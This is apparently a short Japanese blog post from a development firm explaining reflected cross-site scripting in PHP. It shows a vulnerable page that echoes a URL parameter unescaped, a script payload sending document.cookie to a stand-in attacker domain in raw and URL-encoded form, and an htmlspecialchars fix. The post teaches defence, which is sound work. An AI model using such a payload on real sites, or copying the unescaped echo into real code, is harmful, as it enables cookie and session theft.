2019年8月8日木曜日

セキュリティー対策(2)

Webサイトを表示するだけで、乗っ取りってどういうことなのでしょう?
今回は、XSS(クロス・サイト・スクリプティング)についてです。

悪意のあるURLが送り付けられると、自分が入力したユーザー名などの
個人しか知りえないような情報が読みだされてしまします。

例:Webにログイン後、クッキーにユーザー名が設定されている場合

  <?php
   setcookie("username", "ぴろん");
 
 if (isset($_GET['id'])) echo $_GET['id'];

  ?>


ユーザー名は、ログインした人しか分からないはずなのに、
このページを表示していて、アドレスに
以下のようなスクリプトを含ませて、

http://localhost/blog/xss.php?id=<script>document.location='http://waruwaru.co.jp/?'+document.cookie;</script>
<script>document.location='http://waruwaru.co.jp/?'+document.cookie;</script>

urlencodeで、「<」等の文字列を変換して送り付けると...

http://localhost/blog/xss.php?id=%3Cscript%3Edocument.location%3D'http%3A%2F%2Fwaruwaru.co.jp%2F%3F'%2Bdocument.cookie%3B%3C%2Fscript%3E





このように、サイト内でしか知りえないパラメータの「username」が表示されてしまいました。(笑


スクリプトを使って、ユーザーから渡された値は、このようにエスケープするとコードは無害化されて
問題が無くなりますね。

  <?php
   function _hs($value) {
  $value = htmlspecialchars($value, ENT_QUOTES);
  return($value);
 }
 
 setcookie("username", "ぴろん");
 
 if (isset($_GET['id'])) echo _hs($_GET['id']);

  ?>

今度は、ただの文字列になりました。



シェルパラボ(システム開発・ソフトウェア作成業務請負)
https://www.chomolungma.biz/


0 件のコメント:

コメントを投稿